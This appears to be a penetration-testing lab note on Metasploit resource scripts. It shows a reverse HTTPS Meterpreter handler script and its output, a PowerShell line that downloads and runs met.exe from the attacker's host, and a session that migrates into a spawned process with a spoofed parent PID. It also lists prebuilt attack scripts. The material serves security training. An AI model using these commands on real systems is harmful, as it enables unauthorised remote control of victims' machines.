Resource Scripts

Metasploit allows for workflow automation using Resource Scripts (.rc files). These are simple text files containing Metasploit console commands, which can also include Ruby code, to automate tasks—ideal for repetitive penetration testing actions.

Listener Setup

Instead of manually setting up a handler every time we expect a reverse shell, we can create an .rc file:

listener.rc

# Set up a reverse HTTPS Meterpreter handler
use exploit/multi/handler
set PAYLOAD windows/meterpreter_reverse_https
set LHOST 192.168.45.232
set LPORT 443

# Auto-run a post module upon session creation
set AutoRunScript post/windows/manage/migrate

# Keep the listener alive after sessions close
set ExitOnSession false

# Start the handler in background mode
run -z -j

When we use the script, it launches the listener and prepares it to automatically migrate the session to another process once a connection is made.

$ sudo msfconsole -q -r listener.rc
[*] Processing listener.rc for ERB directives.
resource (listener.rc)> use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
resource (listener.rc)> set PAYLOAD windows/meterpreter_reverse_https
PAYLOAD => windows/meterpreter_reverse_https
resource (listener.rc)> set LHOST 192.168.45.232
LHOST => 192.168.45.232
resource (listener.rc)> set LPORT 443
LPORT => 443
resource (listener.rc)> set AutoRunScript post/windows/manage/migrate
AutoRunScript => post/windows/manage/migrate
resource (listener.rc)> set ExitOnSession false
ExitOnSession => false
resource (listener.rc)> run -z -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/handler) >
[*] Started HTTPS reverse handler on https://192.168.45.232:443

# Tansfering and triggering the payload from target
PS C:\Users\justin> iwr -uri http://192.168.45.232/met.exe -OutFile met.exe                                     PS C:\Users\justin> .\met.exe.

# Payload connects
[*] Session ID 1 (192.168.45.232:443 -> 192.168.241.202:58591) processing AutoRunScript 'post/windows/manage/migrate'
[*] Running module against BRUTE2
[*] Current server process: met.exe (5240)
[*] Spawning notepad.exe process to migrate into
[*] Spoofing PPID 0
[*] Migrating into 6040
[+] Successfully migrated into process 6040
[*] Meterpreter session 1 opened (192.168.45.232:443 -> 192.168.241.202:58591) at 2025-04-24 12:55:10 +0300

Metasploit ships with many prebuilt .rc scripts.

$ ls /usr/share/metasploit-framework/scripts/resource/

• autoexploit.rc – automatically exploit known vulnerabilities

• auto_cred_checker.rc – brute force credential testing

• basic_discovery.rc – basic network recon

• run_all_post.rc – run all available post modules

• smb_checks.rc – check for SMB vulnerabilities

When planning to use multiple modules, we can define options globally across all modules. This is more flexible than set, which applies only to the current module.

setg RHOSTS 192.168.45.0/24
unsetg LPORT